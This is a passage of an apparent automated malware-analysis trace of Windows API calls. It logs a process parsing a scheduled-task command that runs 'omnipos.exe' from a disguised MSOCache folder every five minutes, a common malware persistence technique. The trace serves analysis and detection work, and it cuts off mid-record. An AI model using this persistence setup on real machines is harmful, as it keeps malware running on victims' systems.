[0114.203] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0114.203] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0114.204] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0114.204] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0114.204] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0114.204] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0114.204] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0114.204] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0114.204] GetLastError () returned 0x0 [0114.204] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.204] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0114.204] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.204] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.204] lstrlenW (lpString="/f") returned 2 [0114.204] lstrlenW (lpString="-/") returned 2 [0114.204] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0114.204] lstrlenW (lpString="create") returned 6 [0114.204] lstrlenW (lpString="create") returned 6 [0114.204] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.204] lstrlenW (lpString="f") returned 1 [0114.204] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.204] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x9, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|create|") returned 8 [0114.204] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.204] lstrlenW (lpString="|create|") returned 8 [0114.204] lstrlenW (lpString="|f|") returned 3 [0114.204] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0114.204] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.204] lstrlenW (lpString="?") returned 1 [0114.204] lstrlenW (lpString="?") returned 1 [0114.204] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.204] lstrlenW (lpString="f") returned 1 [0114.205] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.205] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|?|") returned 3 [0114.205] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.205] lstrlenW (lpString="|?|") returned 3 [0114.205] lstrlenW (lpString="|f|") returned 3 [0114.205] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0114.205] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.205] lstrlenW (lpString="s") returned 1 [0114.205] lstrlenW (lpString="s") returned 1 [0114.205] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.205] lstrlenW (lpString="f") returned 1 [0114.205] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.205] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|s|") returned 3 [0114.205] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.205] lstrlenW (lpString="|s|") returned 3 [0114.205] lstrlenW (lpString="|f|") returned 3 [0114.205] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0114.205] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.205] lstrlenW (lpString="u") returned 1 [0114.205] lstrlenW (lpString="u") returned 1 [0114.205] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.205] lstrlenW (lpString="f") returned 1 [0114.205] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.205] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|u|") returned 3 [0114.205] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.205] lstrlenW (lpString="|u|") returned 3 [0114.205] lstrlenW (lpString="|f|") returned 3 [0114.206] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0114.206] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.206] lstrlenW (lpString="p") returned 1 [0114.206] lstrlenW (lpString="p") returned 1 [0114.206] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.206] lstrlenW (lpString="f") returned 1 [0114.206] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.206] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|p|") returned 3 [0114.206] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.206] lstrlenW (lpString="|p|") returned 3 [0114.206] lstrlenW (lpString="|f|") returned 3 [0114.206] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0114.206] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.206] lstrlenW (lpString="ru") returned 2 [0114.206] lstrlenW (lpString="ru") returned 2 [0114.206] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.206] lstrlenW (lpString="f") returned 1 [0114.206] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.206] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|ru|") returned 4 [0114.206] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.206] lstrlenW (lpString="|ru|") returned 4 [0114.206] lstrlenW (lpString="|f|") returned 3 [0114.206] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0114.206] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.206] lstrlenW (lpString="rp") returned 2 [0114.206] lstrlenW (lpString="rp") returned 2 [0114.206] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.207] lstrlenW (lpString="f") returned 1 [0114.207] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.207] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|rp|") returned 4 [0114.207] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.207] lstrlenW (lpString="|rp|") returned 4 [0114.207] lstrlenW (lpString="|f|") returned 3 [0114.207] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0114.207] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.207] lstrlenW (lpString="sc") returned 2 [0114.207] lstrlenW (lpString="sc") returned 2 [0114.207] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.207] lstrlenW (lpString="f") returned 1 [0114.207] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.207] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sc|") returned 4 [0114.207] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.207] lstrlenW (lpString="|sc|") returned 4 [0114.207] lstrlenW (lpString="|f|") returned 3 [0114.207] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0114.207] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.207] lstrlenW (lpString="mo") returned 2 [0114.207] lstrlenW (lpString="mo") returned 2 [0114.207] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.207] lstrlenW (lpString="f") returned 1 [0114.207] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.207] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|mo|") returned 4 [0114.207] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.208] lstrlenW (lpString="|mo|") returned 4 [0114.208] lstrlenW (lpString="|f|") returned 3 [0114.208] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0114.208] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.208] lstrlenW (lpString="d") returned 1 [0114.208] lstrlenW (lpString="d") returned 1 [0114.208] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.208] lstrlenW (lpString="f") returned 1 [0114.208] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.208] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|d|") returned 3 [0114.208] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.208] lstrlenW (lpString="|d|") returned 3 [0114.208] lstrlenW (lpString="|f|") returned 3 [0114.208] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0114.208] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.208] lstrlenW (lpString="m") returned 1 [0114.208] lstrlenW (lpString="m") returned 1 [0114.208] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.208] lstrlenW (lpString="f") returned 1 [0114.208] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.208] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|m|") returned 3 [0114.208] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.208] lstrlenW (lpString="|m|") returned 3 [0114.208] lstrlenW (lpString="|f|") returned 3 [0114.208] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0114.208] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.209] lstrlenW (lpString="i") returned 1 [0114.209] lstrlenW (lpString="i") returned 1 [0114.209] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.209] lstrlenW (lpString="f") returned 1 [0114.209] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.209] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|i|") returned 3 [0114.209] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.209] lstrlenW (lpString="|i|") returned 3 [0114.209] lstrlenW (lpString="|f|") returned 3 [0114.209] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0114.209] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.209] lstrlenW (lpString="tn") returned 2 [0114.209] lstrlenW (lpString="tn") returned 2 [0114.209] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.209] lstrlenW (lpString="f") returned 1 [0114.209] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.209] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tn|") returned 4 [0114.209] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.209] lstrlenW (lpString="|tn|") returned 4 [0114.209] lstrlenW (lpString="|f|") returned 3 [0114.209] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0114.209] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.209] lstrlenW (lpString="tr") returned 2 [0114.209] lstrlenW (lpString="tr") returned 2 [0114.209] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.209] lstrlenW (lpString="f") returned 1 [0114.209] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.210] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|tr|") returned 4 [0114.210] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.210] lstrlenW (lpString="|tr|") returned 4 [0114.210] lstrlenW (lpString="|f|") returned 3 [0114.210] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0114.210] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.210] lstrlenW (lpString="st") returned 2 [0114.210] lstrlenW (lpString="st") returned 2 [0114.210] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.210] lstrlenW (lpString="f") returned 1 [0114.210] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.210] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|st|") returned 4 [0114.210] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.210] lstrlenW (lpString="|st|") returned 4 [0114.210] lstrlenW (lpString="|f|") returned 3 [0114.210] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0114.210] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.210] lstrlenW (lpString="sd") returned 2 [0114.210] lstrlenW (lpString="sd") returned 2 [0114.210] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.210] lstrlenW (lpString="f") returned 1 [0114.210] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.210] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|sd|") returned 4 [0114.210] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.210] lstrlenW (lpString="|sd|") returned 4 [0114.211] lstrlenW (lpString="|f|") returned 3 [0114.211] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0114.211] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.211] lstrlenW (lpString="ed") returned 2 [0114.211] lstrlenW (lpString="ed") returned 2 [0114.211] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.211] lstrlenW (lpString="f") returned 1 [0114.211] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.211] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|ed|") returned 4 [0114.211] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.211] lstrlenW (lpString="|ed|") returned 4 [0114.211] lstrlenW (lpString="|f|") returned 3 [0114.211] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0114.211] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.211] lstrlenW (lpString="it") returned 2 [0114.211] lstrlenW (lpString="it") returned 2 [0114.211] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.211] lstrlenW (lpString="f") returned 1 [0114.211] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.211] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|it|") returned 4 [0114.211] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.211] lstrlenW (lpString="|it|") returned 4 [0114.211] lstrlenW (lpString="|f|") returned 3 [0114.211] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0114.211] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.211] lstrlenW (lpString="et") returned 2 [0114.211] lstrlenW (lpString="et") returned 2 [0114.212] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.212] lstrlenW (lpString="f") returned 1 [0114.212] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.212] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|et|") returned 4 [0114.212] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.212] lstrlenW (lpString="|et|") returned 4 [0114.212] lstrlenW (lpString="|f|") returned 3 [0114.212] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0114.212] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.212] lstrlenW (lpString="k") returned 1 [0114.212] lstrlenW (lpString="k") returned 1 [0114.212] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.212] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.212] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|k|") returned 3 [0114.212] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.212] lstrlenW (lpString="|k|") returned 3 [0114.212] lstrlenW (lpString="|f|") returned 3 [0114.212] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0114.212] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.212] lstrlenW (lpString="du") returned 2 [0114.212] lstrlenW (lpString="du") returned 2 [0114.212] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.212] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.212] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|du|") returned 4 [0114.212] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.212] lstrlenW (lpString="|du|") returned 4 [0114.213] lstrlenW (lpString="|f|") returned 3 [0114.213] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0114.213] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.213] lstrlenW (lpString="ri") returned 2 [0114.213] lstrlenW (lpString="ri") returned 2 [0114.213] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.213] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.213] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x5, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|ri|") returned 4 [0114.213] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.213] lstrlenW (lpString="|ri|") returned 4 [0114.213] lstrlenW (lpString="|f|") returned 3 [0114.213] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0114.213] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.213] lstrlenW (lpString="z") returned 1 [0114.213] lstrlenW (lpString="z") returned 1 [0114.213] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.213] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.213] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|z|") returned 3 [0114.213] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.213] lstrlenW (lpString="|z|") returned 3 [0114.213] lstrlenW (lpString="|f|") returned 3 [0114.213] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0114.213] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.213] lstrlenW (lpString="f") returned 1 [0114.213] lstrlenW (lpString="f") returned 1 [0114.213] _memicmp (_Buf1=0x1f1146c43a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.213] _memicmp (_Buf1=0x1f1146c43e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.214] _vsnwprintf (in: _Buffer=0x1f1146c4710, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.214] _vsnwprintf (in: _Buffer=0x1f1146c4400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe718eac658 | out: _Buffer="|f|") returned 3 [0114.214] lstrlenW (lpString="|f|") returned 3 [0114.214] lstrlenW (lpString="|f|") returned 3 [0114.214] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0114.214] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.214] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.214] GetProcessHeap () returned 0x1f1146c0000 [0114.214] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb6d0 [0114.214] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.214] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0114.214] lstrlenW (lpString="MINUTE") returned 6 [0114.214] GetProcessHeap () returned 0x1f1146c0000 [0114.214] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xe) returned 0x1f1146caa70 [0114.214] GetThreadLocale () returned 0x409 [0114.214] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0114.214] RtlRestoreLastWin32Error () returned 0xe719124000 [0114.214] GetProcessHeap () returned 0x1f1146c0000 [0114.214] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x1fc) returned 0x1f1146cacd0 [0114.215] GetProcessHeap () returned 0x1f1146c0000 [0114.215] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb5e0 [0114.215] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.215] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0114.215] lstrlenW (lpString="First") returned 5 [0114.215] GetProcessHeap () returned 0x1f1146c0000 [0114.215] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xc) returned 0x1f1146cab70 [0114.215] GetProcessHeap () returned 0x1f1146c0000 [0114.215] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb3d0 [0114.215] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.215] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0114.223] lstrlenW (lpString="Second") returned 6 [0114.223] GetProcessHeap () returned 0x1f1146c0000 [0114.223] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xe) returned 0x1f1146caad0 [0114.223] GetProcessHeap () returned 0x1f1146c0000 [0114.223] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb7f0 [0114.223] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.223] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0114.223] lstrlenW (lpString="Third") returned 5 [0114.223] GetProcessHeap () returned 0x1f1146c0000 [0114.224] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xc) returned 0x1f1146ca930 [0114.224] GetProcessHeap () returned 0x1f1146c0000 [0114.224] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cbb20 [0114.224] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.224] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0114.224] lstrlenW (lpString="Fourth") returned 6 [0114.224] GetProcessHeap () returned 0x1f1146c0000 [0114.224] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xe) returned 0x1f1146ca9f0 [0114.224] GetProcessHeap () returned 0x1f1146c0000 [0114.224] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb4c0 [0114.224] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.224] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0114.224] lstrlenW (lpString="Last") returned 4 [0114.224] GetProcessHeap () returned 0x1f1146c0000 [0114.224] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xa) returned 0x1f1146cabb0 [0114.224] lstrlenW (lpString="5") returned 1 [0114.224] _wtol (_String="5") returned 5 [0114.224] GetProcessHeap () returned 0x1f1146c0000 [0114.224] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0x20) returned 0x1f1146cb700 [0114.224] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.224] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1f1146cbb90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0114.224] lstrlenW (lpString="First") returned 5 [0114.224] GetProcessHeap () returned 0x1f1146c0000 [0114.224] RtlAllocateHeap (HeapHandle=0x1f1146c0000, Flags=0xc, Size=0xc) returned 0x1f1146ca9d0 [0114.224] _memicmp (_Buf1=0x1f1146c4cc0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.224] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1f1146cbb90, 